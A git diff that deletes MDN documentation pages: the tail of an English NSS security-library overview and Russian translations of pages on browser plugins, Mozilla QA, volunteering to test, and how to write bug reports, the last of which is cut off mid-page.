- <li><a class="external" href="http://www.rsasecurity.com/rsalabs/pkcs/pkcs-5/index.html">PKCS #5</a>. RSA standard that governs password-based cryptography, for example to encrypt private keys for storage.</li>
- <li><a class="external" href="http://www.rsasecurity.com/rsalabs/pkcs/pkcs-7/index.html">PKCS #7</a>. RSA standard that governs the application of cryptography to data, for example digital signatures and digital envelopes.</li>
- <li><a class="external" href="http://www.rsasecurity.com/rsalabs/pkcs/pkcs-8/index.html">PKCS #8</a>. RSA standard that governs the storage and encryption of private keys.</li>
- <li><a class="external" href="http://www.rsasecurity.com/rsalabs/pkcs/pkcs-9/index.html">PKCS #9</a>. RSA standard that governs selected attribute types, including those used with PKCS #7, PKCS #8, and PKCS #10.</li>
- <li><a class="external" href="http://www.rsasecurity.com/rsalabs/pkcs/pkcs-10/index.html">PKCS #10</a>. RSA standard that governs the syntax for certificate requests.</li>
- <li><a class="external" href="http://www.rsasecurity.com/rsalabs/pkcs/pkcs-11/index.html">PKCS #11</a>. RSA standard that governs communication with cryptographic tokens (such as hardware accelerators and smart cards) and permits application independence from specific algorithms and implementations.</li>
- <li><a class="external" href="http://www.rsasecurity.com/rsalabs/pkcs/pkcs-12/index.html">PKCS #12</a>. RSA standard that governs the format used to store or transport private keys, certificates, and other secret material.</li>
- <li><a href="en/Glossary#S.2FMIME">S/MIME (RFC 2311 and RFC 2633)</a>. IETF message specification (based on the popular Internet MIME standard) that provides a consistent way to send and receive signed and encrypted MIME data.</li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Security/x509_Certificates">X.509 v3</a>. ITU standard that governs the format of certificates used for authentication in public-key cryptography.</li>
- <li><a href="en/Glossary#OCSP">OCSP (RFC 2560)</a>. The Online Certificate Status Protocol (OCSP) governs real-time confirmation of certificate validity.</li>
- <li><a class="external" href="http://www.ietf.org/rfc/rfc3280.txt">PKIX Certificate and CRL Profile (</a><a class="external" href="http://tools.ietf.org/html/rfc3280" title="http://tools.ietf.org/html/rfc3280">RFC 3280</a>). The first part of the four-part standard under development by the Public-Key Infrastructure (X.509) working group of the IETF (known at PKIX) for a public-key infrastructure for the Internet.</li>
- <li>RSA, DSA, ECDSA, Diffie-Hellman, EC Diffie-Hellman, <a class="external" href="http://csrc.nist.gov/encryption/aes/">AES</a>, Triple DES, DES, RC2, RC4, SHA-1, SHA-256, SHA-384, SHA-512, MD2, MD5, HMAC: Common cryptographic algorithms used in public-key and symmetric-key cryptography.</li>
- <li>FIPS 186-2 pseudorandom number generator.</li>
-</ul>
-
-<p>For complete details, see <a class="external" href="http://www.mozilla.org/projects/security/pki/nss/nss-3.11/nss-3.11-algorithms.html">Encryption Technologies</a>.</p>
-
-<h3 id="FIPS_140_Validation_and_NISCC_Testing" name="FIPS_140_Validation_and_NISCC_Testing">FIPS 140 Validation and NISCC Testing</h3>
-
-<p>The NSS software crypto module has been validated three times for conformance to FIPS 140 at Security Levels 1 and 2. For more information, see the <a href="NSS/FIPS_Mode_-_an_explanation">NSS FIPS</a> page (<a class="external" href="http://wiki.mozilla.org/FIPS_Validation">Or this one</a>).</p>
-
-<p>The NSS libraries passed the NISCC <a class="external" href="http://www.niscc.gov.uk/niscc/docs/re-20030930-00749.pdf?lang=en">TLS/SSL</a> and <a class="external" href="http://www.uniras.gov.uk/niscc/docs/re-20031104-00752.pdf?lang=en">S/MIME</a> test suites (1.6 million test cases of invalid input data).</p>
-
-<h3 id="Complete_Software_Development_Kit" name="Complete_Software_Development_Kit">Complete Software Development Kit</h3>
-
-<p>In addition to libraries and APIs, NSS provides <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS/Tools">security tools</a> required for debugging, diagnostics, certificate and key management, cryptography module management, and other development tasks.</p>
-
-<p>NSS comes with an extensive and growing set of <a href="/docs/Mozilla/Projects/NSS#Documentation">documentation</a>, including introductory material, API references, man pages for command-line tools, and <a class="external" href="https://developer.mozilla.org/en-US/docs/NSS/NSS_Sample_Code">sample code</a>.</p>
-
-<p>NSS is available as source and shared (dynamic) libraries. Every NSS release is backward compatible with previous releases, allowing NSS users to upgrade to the new NSS shared libraries without recompiling or relinking their applications.</p>
-
-<h3 id="Open-Source_Licensing_and_Distribution" name="Open-Source_Licensing_and_Distribution">Open-Source Licensing and Distribution</h3>
-
-<p>NSS is available under the <a href="https://www.mozilla.org/MPL/">Mozilla Public License</a>, version 2. The latest source code is available for free worldwide from <a class="external" href="http://www.mozilla.org" rel="freelink">http://www.mozilla.org</a> and its mirror sites.</p>
diff --git a/files/ru/plugins/index.html b/files/ru/plugins/index.html
deleted file mode 100644
index d27e7b06cd..0000000000
--- a/files/ru/plugins/index.html
+++ /dev/null
@@ -1,120 +0,0 @@
----
-title: Плагины
-slug: Plugins
-translation_of: Archive/Plugins
----
-<div>
-<p>Плагин - это разделяемая библиотека, которую пользователи могут установить для показа содержимого, которое приложение само по себе отображать не может. Например, плагин Adobe Reader позволяет пользователю просматривать файлы PDF прямо внутри браузера, а плагины QuickTime и RealPlayer используются для проигрывания специальных видеоформатов на веб-странице.</p>
-
-<p>Плагины могут быть полезны при создании приложений с использованием фреймворка Mozilla. Например, <a class="external" href="http://en.wikipedia.org/wiki/ActiveState_Komodo">ActiveState Komodo</a> использует плагины для внедрения <a class="external" href="http://en.wikipedia.org/wiki/Scintilla_(editing_component)">редактора Scintilla</a> в пользовательский интерфейс, основанный на XUL.</p>
-
-<p>Плагины пишут при помощи <strong>NPAPI</strong>, кроссбраузерного API для плагинов. Основной источник документации по NPAPI - <a href="/en/Gecko_Plugin_API_Reference" title="en/Gecko_Plugin_API_Reference">Gecko Plugin API Reference</a>. Чтобы получить доступ к функциям плагина из веб-страницы, используйте <a href="/en/Gecko_Plugin_API_Reference/Scripting_plugins" title="en/Gecko_Plugin_API_Reference/Scripting_plugins">npruntime</a>. Старые, основанные на<a href="/en/XPCOM" title="en/XPCOM"> XPCOM</a> и <a href="/en/LiveConnect" title="en/LiveConnect">LiveConnect</a> API для плагинов использовать не стоит. Эти технологии сами по себе по-прежнему используются, только не для плагинов.</p>
-
-<p>Плагины можно написать полностью с нуля, используя C API (обычно на C или C++), или они могут быть посторены на фреймворке, таком как <a class="external" href="http://www.firebreath.org" title="http://www.firebreath.org/">Firebreath</a>, <a class="external" href="http://www.rawmaterialsoftware.com/juce.php" title="http://www.rawmaterialsoftware.com/juce.php">JUCE</a>, или <a class="external" href="http://doc.qt.nokia.com/solutions/4/qtbrowserplugin/developingplugins.html" title="http://doc.qt.nokia.com/solutions/4/qtbrowserplugin/developingplugins.html">QtBrowserPlugin</a>. Также есть средства кодогенерации, которые могут быть полезны. Больше информации о них можно найти на странице <a href="/en/Plugins/External_resources_for_plugin_creation" title="en/Plugins/External resources for plugin creation">External Resources</a>.</p>
-
-<p>Вы можете использовать <a href="/en/SVG" title="en/SVG">SVG</a> или <a href="/en/HTML/Canvas" title="en/HTML/Canvas">Canvas</a> для более простых задач управления графикой и анимацией из скрипта.</p>
-
-<p>Плагины отличаются от <a href="/en/Extensions" title="en/Extensions">расширений</a>, которые изменяют или улучшают функциональность браузера. Плагины также отличны от <a href="/en/Creating_OpenSearch_plugins_for_Firefox" title="en/Creating_OpenSearch_plugins_for_Firefox">поисковых расширений</a>, которые добавляют поисковые движки в строку поиска.</p>
-</div>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=Plugins&amp;language=en" title="Special:Tags?tag=Plugins&amp;language=en">Документация</a></h2>
-
- <dl>
- <dt><a href="/en/Gecko_Plugin_API_Reference" title="en/Gecko_Plugin_API_Reference">Gecko Plugin API Reference</a> (NPAPI)</dt>
- <dd><span id="result_box" lang="ru"><span>Эта ссылка описывает интерфейсы прикладного программирования для плагинов NPAPI и предоставляет информацию о том, как использовать эти интерфейсы.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/Gecko_Plugin_API_Reference/Scripting_plugins" title="en/Gecko_Plugin_API_Reference/Scripting_plugins">Scripting plugins</a> (npruntime)</dt>
- <dd><span id="result_box" lang="ru"><span>В этой ссылке описываются новые межплатформенные расширения NPAPI, которые позволяют плагинам быть доступными для сценариев, а также позволяют им обращаться к объектам сценария в браузере.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/Gecko_SDK" title="en/Gecko_SDK">Gecko SDK</a></dt>
- <dd><span id="result_box" lang="ru"><span>Gecko SDK содержит все инструменты и заголовки, необходимые для создания плагинов для скриптов для Gecko, включая последние npapi.h и связанные с ними заголовки и инструменты.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/Plugins/Out_of_process_plugins" title="en/Plugins/Out of process plugins">Out of process plugins</a></dt>
- <dd><span id="result_box" lang="ru"><span>Firefox 3.6.4 представил плагины вне процесса, которые выполняются в отдельном процессе, так что сбойный модуль не приводит к сбою в работе браузера.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/Shipping_a_plugin_as_a_Toolkit_bundle" title="en/Shipping_a_plugin_as_a_Toolkit_bundle">Shipping a plugin as a Toolkit bundle</a></dt>
- <dd><span id="result_box" lang="ru"><span>Плагины могут поставляться в комплекте Toolkit, что позволяет пользователю легко устанавливать, удалять и управлять своими личными плагинами.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a class="external" href="http://developer.apple.com/internet/webcontent/detectplugins.html">Detecting Plugins</a></dt>
- <dd><span id="result_box" lang="ru"><span>Как использовать JavaScript для определения, установлен ли плагин, и предложения о том, что делать, если это не так.</span></span></dd>
- <dt><a class="internal" href="/En/Supporting_private_browsing_in_plugins" title="en/Supporting private browsing in plugins">Supporting private browsing in plugins</a></dt>
- <dd><span id="result_box" lang="ru"><span>В Firefox 3.5 появилась поддержка частного просмотра;</span> <span>Узнайте, как сделать так, чтобы ваш плагин уважал пожелания пользователя о конфиденциальности.</span></span></dd>
- <dt><a href="/en/Plugins/Multi-Process_Plugin_Architecture" title="en/Plugins/Multi-Process Plugin Architecture">Multi-Process Plugin Architecture</a></dt>
- <dd><span class="short_text" id="result_box" lang="ru"><span>Как Firefox загружает плагины в отдельный процесс</span></span></dd>
- <dt><a href="/en/Plugins/Logging" title="en/Plugins/Logging">Logging and Debugging for Multi-Process Plugins</a></dt>
- <dd><span id="result_box" lang="ru"><span>Как создать журнал подключаемых модулей, чтобы помочь в отладке проблем с многопроцессорными плагинами.</span></span></dd>
- <dt><a class="internal" href="/En/Writing_a_plugin_for_Mac_OS_X" title="en/Writing a plugin for Mac OS X">Writing a plugin for Mac OS X</a></dt>
- <dd><span id="result_box" lang="ru"><span>Узнайте, как написать плагин для Mac OS X;</span> <span>Предоставляется проект шаблона Xcode.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/Monitoring_plugins" title="en/Monitoring_plugins">Monitoring Plugins</a></dt>
- <dd><span id="result_box" lang="ru"><span>Используйте уведомление службы наблюдателя, чтобы контролировать количество времени, затрачиваемое на выполнение вызовов в плагинах.</span> <span>Это может быть полезно при попытке определить, потребляет ли подключаемый модуль слишком много ресурсов.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/Scripting_Plugins/Adobe_Flash" title="en/Scripting_Plugins/Macromedia_Flash">Scripting Plugins: Macromedia Flash</a></dt>
- <dd><span id="result_box" lang="ru"><span>В этой статье объясняется, как JavaScript может использоваться для доступа к методам из Flash-плагина, а также как функция FSCommands может использоваться для доступа к функциям JavaScript из Flash-анимации.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/Gecko_Plugin_API_Reference/Plug-in_Development_Overview" title="en/Plugins/The_First_Install_Problem">Plugins: The First Install Problem</a></dt>
- <dd><span id="result_box" lang="ru"><span>В этой статье объясняется, как JavaScript может использоваться для доступа к методам из Flash-плагина, а также как функция FSCommands может использоваться для доступа к функциям JavaScript из Flash-анимации.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/ActiveX_Control_for_Hosting_Netscape_Plug-ins_in_IE" title="en/ActiveX_Control_for_Hosting_Netscape_Plug-ins_in_IE">ActiveX Control for Hosting Netscape Plug-ins in IE</a></dt>
- <dd><span id="result_box" lang="ru"><span>Microsoft удалила поддержку подключаемых модулей Netscape с IE 5.5 SP2 и последующих версий.</span> <span>Если вы автор плагина, вы можете найти этот проект, который поможет вам сэкономить много работы!</span></span></dd>
- <dt><a href="/en/Plugins/Samples_and_Test_Cases" title="en/Plugins/Samples_and_Test_Cases">Plugins: Samples and Test Cases</a></dt>
- <dd><span class="short_text" id="result_box" lang="ru"><span>Образцы плагинов NPAPI и тестовые примеры.</span></span></dd>
- <dt><a href="/en/Plugins/External_resources_for_plugin_creation" title="https://developer.mozilla.org/en/Plugins/External_resources_for_plugin_creation">External Resources for Plugin Creation</a></dt>
- <dd><span id="result_box" lang="ru"><span>Внешние проекты, фреймворки и сообщения в блогах, которые могут быть полезны.</span></span></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XEmbed_Extension_for_Mozilla_Plugins" title="en/XEmbed_Extension_for_Mozilla_Plugins">XEmbed Extension for Mozilla Plugins</a></dt>
- <dd><span id="result_box" lang="ru"><span>Недавние версии Mozilla для систем на базе * nix включают расширение для написания плагинов, которые используют XEmbed, вместо использования старого основного цикла, основанного на Xt, который большинство плагинов используют с Netscape 3.x дней.</span></span></dd>
- </dl>
-
- <p><span class="alllinks"><a href="/Special:Tags?tag=Plugins&amp;language=en" title="Special:Tags?tag=Plugins&amp;language=en">View All...</a></span></p>
- </td>
- <td>
- <h2 id="Community" name="Community">Сообщество</h2>
-
- <ul>
- <li>View Mozilla forums...</li>
- </ul>
-
- <p>{{ DiscussionList("dev-tech-plugins", "mozilla.dev.tech.plugins") }}</p>
-
- <h2 id="Related_Topics" name="Related_Topics">Полезные ссылки</h2>
-
- <dl>
- <dd><a href="/en/Extensions" title="en/Extensions">Extensions</a>, <a href="/en/SVG" title="en/SVG">SVG</a>, <a href="/en/HTML/Canvas" title="en/HTML/Canvas">Canvas</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><span class="comment">Categories</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p> </p>
-
-<p>{{ languages( { "de": "de/Plugins", "es": "es/Plugins", "fr": "fr/Plugins", "ja": "ja/Plugins", "pl": "pl/Wtyczki", "pt": "pt/Plugins", "ko": "ko/Plugins" } ) }}</p>
diff --git a/files/ru/qa/index.html b/files/ru/qa/index.html
deleted file mode 100644
index e85019f726..0000000000
--- a/files/ru/qa/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Контроль качества
-slug: QA
-tags:
- - QA
-translation_of: Mozilla/QA
----
-<h2 id="С_чего_начать">С чего начать</h2>
-
-<ul class="card-grid">
- <li><span>Как я могу помочь тестировать?</span>
-
- <p>Есть много способов принять участие в контроле качества проекта Mozilla <a href="https://developer.mozilla.org/ru/docs/Mozilla/QA/How_can_I_help_test_">в качестве добровольца</a>.</p>
- </li>
- <li><span>Баги</span>
- <p>Все проекты Mozilla используют для отслеживания багов <a href="https://bugzilla.mozilla.org/">Bugzilla</a>. Научитесь <a href="/ru/docs/Mozilla/QA/Bug_writing_guidelines" title="/ru/docs/Mozilla/QA/Bug_writing_guidelines">сообщать о баге</a> и ознакомьтесь с <a href="/ru/docs/What_to_do_and_what_not_to_do_in_Bugzilla">правилами работы с Bugzilla</a>.</p>
- </li>
- <li><span>Мероприятия</span>
- <p>Примите участие в наших еженедельных <a href="/ru/docs/Mozilla/QA/Bug_Verification_Day">Дне проверки исправлений (Bug Verification Day)</a> и <a href="/ru/docs/Mozilla/QA/Bug_Triage_Day">Дне триажа багов (Bug Triage Day)</a>.  Можете даже <a href="/ru/docs/Mozilla/QA/Organizing_a_Testday">устроить testday</a> для своего местного сообщества!</p>
- </li>
- <li><span>IRC</span>
- <p><a href="/ru/docs/Mozilla/QA/Getting_Started_with_IRC">Научитесь пользоваться IRC</a>, основным способом связи в сообществе Mozilla.</p>
- </li>
-</ul>
-
-<h2 id="Баги">Баги</h2>
-
-<div class="row topicpage-table">
-<div class="section">
-<h3 id="Как_сообщать_об_ошибках">Как сообщать об ошибках</h3>
-
-<dl>
- <dt><a href="/ru/docs/Mozilla/Bugzilla">Bugzilla</a></dt>
- <dd>Все проекты Mozilla используют для отслеживания багов (сообщений об ошибках и пожеланиях) <a href="https://bugzilla.mozilla.org/">Bugzilla</a>. Чтобы создавать и триажить баги, Вам нужно будет <a href="https://bugzilla.mozilla.org/createaccount.cgi">создать учётную запись в Bugzilla</a>.</dd>
- <dt><a href="/ru/docs/Mozilla/QA/Bug_writing_guidelines" title="/ru/docs/Mozilla/QA/Bug_writing_guidelines">Руководство по описанию ошибок</a></dt>
- <dd>Чем качественнее сообщено об ошибке, тем более вероятно, что инженер её исправит. Следуя этим рекомендациям, Вы повысите вероятность того, что инженеры Mozilla начнут с Ваших багов и исправят именно их, а не отложат и забудут.</dd>
- <dt><a href="/ru/docs/Mozilla/QA/A_Bugs_Life" title="/ru/docs/Mozilla/QA/A_Bugs_Life">Жизнь бага</a></dt>
- <dd>This tutorial will give an overview of what happens in the states that a bug will go through as well as how it will go from one to the next within its total life. It also explains the meaning of flags/keywords used in QA.</dd>
- <dt><a href="/ru/docs/Mozilla/QA/Filing_Crash_Bugs">Filing Crash Bugs</a></dt>
- <dd>This document lists guidelines and tips on how to file bug reports for crashes in a way that helps in debugging and fixing the reported issue.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h3 id="Как_триажить_баги">Как триажить баги</h3>
-
-<dl>
- <dt><a href="/ru/docs/Mozilla/QA/Confirming_unconfirmed_bugs" title="ru/docs/Confirming unconfirmed bugs">Подтверждаем неподтверждённые багрепорты</a></dt>
- <dd>Как опознавать полезные багрепорты и закрывать остальные.</dd>
- <dt><a href="/ru/docs/Mozilla/QA/Triaging_Bugs_for_Firefox" title="/ru/docs/Mozilla/QA/Triaging_Bugs_for_Firefox">Триажим баги для Firefox</a></dt>
- <dd>Обо всём процессе триажа багов — от просеивания входящих багов до нахождения простых шагов для воспроизведения проблемы.</dd>
- <dt><a href="/ru/docs/Screening_duplicate_bugs">Отсеиваем дубликаты</a></dt>
- <dd>Помогите ускорить исправление багов, помечая во входящих сообщения об одном и том же.</dd>
- <dt><a href="/ru/docs/What_to_do_and_what_not_to_do_in_Bugzilla">Общие рекомендации</a></dt>
- <dd>Что желательно и что нежелательно делать в Bugzilla.</dd>
-</dl>
-</div>
-</div>
diff --git a/files/ru/qa/как_помочь_тестировать/index.html b/files/ru/qa/как_помочь_тестировать/index.html
deleted file mode 100644
index cffd7f8290..0000000000
--- a/files/ru/qa/как_помочь_тестировать/index.html
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: Как помочь тестировать?
-slug: QA/Как_помочь_тестировать
-tags:
- - Beginner
- - QA
-translation_of: Mozilla/QA/How_can_I_help_test_
----
-<div class="note">
-<p>Martijn Wargers (:mwargers) (Mozilla QA Team) проделал техническую рецензию этой страницы 2014-10-23.  Оригинал этой статьи был создан из страницы на QMO: <a class="link-https" href="http://web.archive.org/web/20141203232956/https://quality.mozilla.org/docs/misc/how-can-i-help-test/">How can I help test?</a></p>
-</div>
-
-<p>Спасибо, что спросили!  Для Вас есть множество способов стать частью команды контроля качества Mozilla, даже если Вы не технарь.</p>
-
-<h2 id="Выберите_задачу_на_One_and_Done">Выберите задачу на <a href="https://oneanddone.mozilla.org/">One and Done</a></h2>
-
-<p>Попробуйте новую систему Mozilla для поиска задач! <em>One and Done</em> («Взял и сделал», «Выбрал и сделал») — инструмент, помогающий найти задачу по Вашим интересам, умениям и доступному времени.  Возможности фильтрации позволяют выбирать задачи по командам, которые ими занимаются, и по различным свойствам.  Вы можете как работать над задачами, подходящими Вам по опыту, так и попробовать что-то новое!   Для каждой задачи указаны шаги, которые надо выполнить, и контактные данные, чтобы Вы могли задавать вопросы.</p>
-
-<h2 id="Попользуйтесь_ночной_сборкой">Попользуйтесь <a href="http://nightly.mozilla.org/">ночной сборкой</a></h2>
-
-<p>Используя одну из наших еженочно собираемых тестовых сборок, Вы увидите раньше большинства наших пользователей новые функции, а значит, сможете найти раньше всех и появившиеся баги.  Ночные сборки не для всех: они регулярно изменяются, и новые функции появляются в них ещё недоделанными, но отзывы от пользователей ночных сборок помогают shape the products we build very directly. If that sounds a little too scary for you, using a <a href="http://www.mozilla.com/en-US/firefox/channel/">a build from any of our other channels</a> gives us the same type of feedback, but keeps you only on things that we consider polished enough to be almost final.</p>
-
-<h2 id="Помогайте_одной_из_наших_команд_по_контролю_качества">Помогайте одной из наших <a href="http://quality.mozilla.org/teams/">команд по контролю качества</a></h2>
-
-<p>If you have some technical expertise and want to help build and maintain the tools we use to measure and improve quality, we can always use a hand.</p>
-
-<p>Если вы владеете техническими навыками и хотите помочь в создании и сопровождении средств, которые мы используем для оценки и улучшения качества, то мы всегда примем руку помощи.</p>
-
-<h2 id="Примите_участие_в_ближайшем_мероприятии">Примите участие в <a href="http://quality.mozilla.org/events/">ближайшем мероприятии</a></h2>
-
-<p>Mozilla test days are one of the most powerful tools we have for uncovering new bugs and exploring new features. Вас научат скачивать тестовые сборки, сообщать об ошибках, и сотрудничать с разработчиками с целью их исправления.  Какой бы способ участия Вы ни выбрали, спасибо!  Программы Mozilla создаются сообществом таких как Вы, кто принял участие потому, что был заинтересован в качестве того, что мы создаём, и решил помочь.</p>
diff --git a/files/ru/qa/руководящие_принципы_написания_ошибка/index.html b/files/ru/qa/руководящие_принципы_написания_ошибка/index.html
deleted file mode 100644
index 9f5d04bc1d..0000000000
--- a/files/ru/qa/руководящие_принципы_написания_ошибка/index.html
+++ /dev/null
@@ -1,230 +0,0 @@
----
-title: Руководство по описанию ошибок
-slug: QA/Руководящие_принципы_написания_ошибка
-tags:
- - Инструкция
- - баг
- - багрепорт
- - отчет об ошибках
- - тестирование
-translation_of: Mozilla/QA/Bug_writing_guidelines
----
-<div class="note">
-<p><strong>Если вам нужна помощь с программой от Mozilla (наример, Firefox, Seamonkey или Thunderbird), используйте <a href="http://www.mozilla.org/support/">сайты поддержки</a>.</strong>  Не редактируйте эту страницу!</p>
-</div>
-
-<p>В этом разделе предполагается, что вы хотите внести свой вклад в проект Mozilla путем сбора достаточного количества информации для написания полезных отчетов об ошибках в Bugzilla, системе отслеживания ошибок  от Mozilla. Спасибо!</p>
-
-<p>Если вы новичок в написании багов, вы можете попытаться получить помощь от более опытных участников. С мотрите раздел Сообщества на странице <a href="/en-US/docs/QA">QA</a> для ccылок. Если вы собираетесь создать багрепорт для Firefox, вы можете получить помощь на сайте <a href="irc://irc.mozilla.org/firefox">irc.mozilla.org</a> в канале <span style="font-family: monospace;">#firefox</span> . Для других приложений вроде Thunderbird, Seamonkey, … вы можете попытаться найти подходящий канал в <a href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
-
-<h2 id="Как_сообщить_об_ошибке">Как сообщить об ошибке</h2>
-
-<h3 id="Открывайте_новый_баг_для_каждой_проблемы!">Открывайте новый баг для каждой проблемы!</h3>
-
-<p>Только так будет возможен эффективный процесс исправления ошибок.</p>
-
-<h3 id="Другие_детали_которые_следует_учитывать">Другие детали, которые следует учитывать</h3>
-
-<ol>
- <li>Выясните шаги воспроизведения бага:
- <ul>
- <li>Если у вас есть точные шаги воспроизведения - отлично! - вы на пути к созданию полезного сообщения об ошибке;</li>
- <li>Если вы можете воспроизвести баг время от времени, но не после следования конкретным шагам, вы должны предоставить дополнительную информацию о баге, чтобы он был полезен;</li>
- <li>Если вы не можете воспроизвести проблему, вероятно нет смысла сообщать о ней, пока вы не предоставите уникальную информацию об ее возникновении;</li>
- </ul>
- </li>
- <li>Убедитесь, что программное обеспечение в актуальном состоянии. В идеале, тестируйте версию в процессе разработки, чтобы видеть был ли ваш баг уже исправлен (например <a href="http://www.mozilla.com/en-US/firefox/channel/">Firefox Beta, Aurora</a>, или передовой <a class="link-https" href="https://nightly.mozilla.org/">Nightly</a>).</li>
- <li>Если вы создаете багрепорт для Firefox, убедитесь сначала что вы можете воспроизвести баг <a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles">в новом профиле Firefox</a>. Если баг воспроизводится только в вашем профиле, попытайтесь вычислить какие именно <a href="https://support.mozilla.org/en-US/kb/troubleshoot-extensions-themes-to-fix-problems">настройки, расширения</a>, or <a href="http://support.mozilla.com/en-US/kb/Profiles">файлы в вашем профиле</a> необходимы для воспроизведения бага.
- <ul>
- <li>Если баг выглядит серьезно (т.е. очевидно что он затронет значительнцю часть пользователей), имеется нечто действительно необычное относительно конфигурации вашего приложения и это нечто является важным шагом к воспроизведению проблемы. Вы имеете намного больше шансов выяснить что именно вызывает проблему, чем разработчик который не имеет доступа к вашей системе.</li>
- <li>Если баг попадает в одну из <a href="#specific-types">специальных категорий багов перечисленных в секции ниже</a>, его регистрация все равно может быть полезной даже если вы не можете воспроизвести его в новом профиле Firefox.</li>
- </ul>
- </li>
- <li>Откройте форму <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?format=guided">Регистрации нового бага</a>, и следуйте дальнейшим подсказкам которые проведут вас через все шаги процесса регистрации бага:
- <ul>
- <li>Создайте аккаунт Bugzilla если у вас его еще нет, выберете продукт в котором была найдена ошибка;</li>
- <li>Введите <strong>понятное и уникальное название</strong> как <a href="#clear-summary">показано ниже</a>; проверьте что до вас никто этот баг еще не регистрировал (если вы хотите проверить это тщательно, ознакомьтесь с инструкцией по <a href="/en-US/docs/Screening_duplicate_bugs">Предотвращению дублирования багов</a>.)</li>
- <li>Опишите <strong>точные шаги по воспроизведению бага</strong>, <strong>ожидаемый </strong> и <strong>фактический результаты</strong> как <a href="#str">описано в следующей секции</a>;</li>
- <li>Опишите дополнительную информацию (как <a href="#additional-info">показано ниже</a>), особенно если вы не можете воспроизвести баг в новом профиле и/или создаете отчет о <strong>аварийном завершении</strong>, <strong>использовании памяти</strong>, <strong>производительности</strong>, <strong>регрессе</strong> или если проблема проявляется только на определенном веб сайте.</li>
- </ul>
- </li>
- <li>Если вы собираетесь зарегистрировать нескольк ошибок, пожалуйста зарегистрируйте каждую ошибку в виде отдельного бага.</li>
-</ol>
-
-<div class="boxed translate-rendered">
-<h2 id="Написание_понятного_названия"><a name="clear-summary">Написание понятного названия</a></h2>
-
-<p>Как бы вы описали баг используя для этого всего 10 слов? Какой бы способ вы ни выбрали, помните: название - это самая первая часть вашего багрепорта которую увидит разработчик.</p>
-
-<p>Хорошее название должно быстро и уникально идентифицировать багрепорт. Оно должно описывать проблему, а не предлагаемое решение.</p>
-
-<ul>
- <li>Хорошо: "Отмена копирования файлов приводит File Manager к падению"</li>
- <li>Плохо: "Приложение падает"</li>
-</ul>
-
-<ul>
- <li>Хорошо: "Стрелка вниз в скроллинге не работает в &lt;textarea&gt; с overflow:hidden"</li>
- <li>Плохо: "Браузер должен работать с моим сайтом"</li>
-</ul>
-
-<h2 id="Написание_точных_шагов_воспроизведения_бага"><a name="str">Написание точных шагов воспроизведения бага</a></h2>
-
-<p>Как разработчик сможет воспроизвести баг на своем собственном компьютере?</p>
-
-<p>Шаги для воспроизведения проблемы являются <strong>самой главной частью вашего багрепорта</strong>. Если разработчик в состоянии воспроизвести баг, шанс что он будет исправлен наиболее высок. Если шаги недостаточно точны, то в самом деле: даже выяснить был ли баг на самом деле исправлен будет нельзя.</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Что хороший багрепорт должен содержать?</th>
- <th>Хороший (понятный) пример</th>
- <th>Плохой (непонятный)</th>
- </tr>
- <tr>
- <td>Содержит точное указание что вы можете воспроизвести этот баг всегда, иногда или не можете воспроизвести его вовсе</td>
- <td>Я могу воспроизвести этот баг следуя этим шагам:</td>
- <td> </td>
- </tr>
- <tr>
- <td>
- <p>Опишите свой метод взаимодействия с Firefox вместе с тем чего вы намеревались добиться совершая каждый шаг.</p>
- </td>
- <td>
- <p>1. Запускаю Firefox кликая на значок рабочего стола<br>
- 2. Нажимаю Cmd+N для того чтобы открыть новое окно браузера<br>
- 3. Вставляю <a class="link-https" href="https://mail.google.com/" rel="freelink">https://mail.google.com/</a> в строку адреса и нажимаю Enter</p>
- </td>
- <td>Открываю Gmail в другом окне</td>
- </tr>
- <tr>
- <td>
- <p>После выполнения ваших шагов, точно опишите <strong>наблюдаемый (фактический) результат</strong> и <strong>ожидаемый результат</strong>. Точно отделяйте факты (наблюдения) от умозаключений.</p>
- </td>
- <td><strong>Ожидаемые результаты</strong>: Папка входящих писем показывается корректно.<br>
- <strong>Фактический результат</strong>: В папке входящих писем отображается надпись  'Ваш браузер не поддерживает куки (ошибка -91)'.</td>
- <td>
- <p>"Не работает"</p>
-
- <p>"Страница отображается некорректно"</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Описание_дополнительной_информации"><a name="additional-info">Описание дополнительной информации</a></h2>
-
-<p>Следующая информация запрашивается разработчиками практически для любого бага. Вы значительно сохраните время если сразу предоставите ее после описания ожидаемого результата. Если вы хотите прикрепить один или несколько файлов, вы можете сделать это сразу после создания багрепорта.</p>
-
-<h3 id="Для_специальных_видов_багов"><a name="specific-types">Для специальных видов багов</a></h3>
-
-<p>Если вы создаете багрепорт об <strong>аварийном завершении</strong>, пожалуйста <a href="https://developer.mozilla.org/en-US/docs/How_to_get_a_stacktrace_for_a_bug_report">приложите к багу Breakpad ID или стектрейс ошибки</a>, а также укажите сигнатуру аварийного завершения (crash signature) в названии бага помимо указания сигнатуры аварийного завершения в поле <strong>Crash Signature</strong>.</p>
-
